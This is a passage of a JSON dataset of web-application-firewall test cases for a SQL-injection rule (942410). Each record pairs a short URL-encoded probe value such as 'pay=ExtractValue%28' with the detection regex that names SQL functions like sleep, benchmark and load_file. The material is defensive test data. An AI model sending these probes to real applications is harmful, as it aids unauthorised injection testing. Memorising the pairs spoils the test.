d|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=date%5D%3D%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=day.+%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=day%26%27%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=decode%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=default%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=ELT%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=encode%3D%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=ExtractValue%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=EXTRACTVALUE%28" } ], "attack_context": { 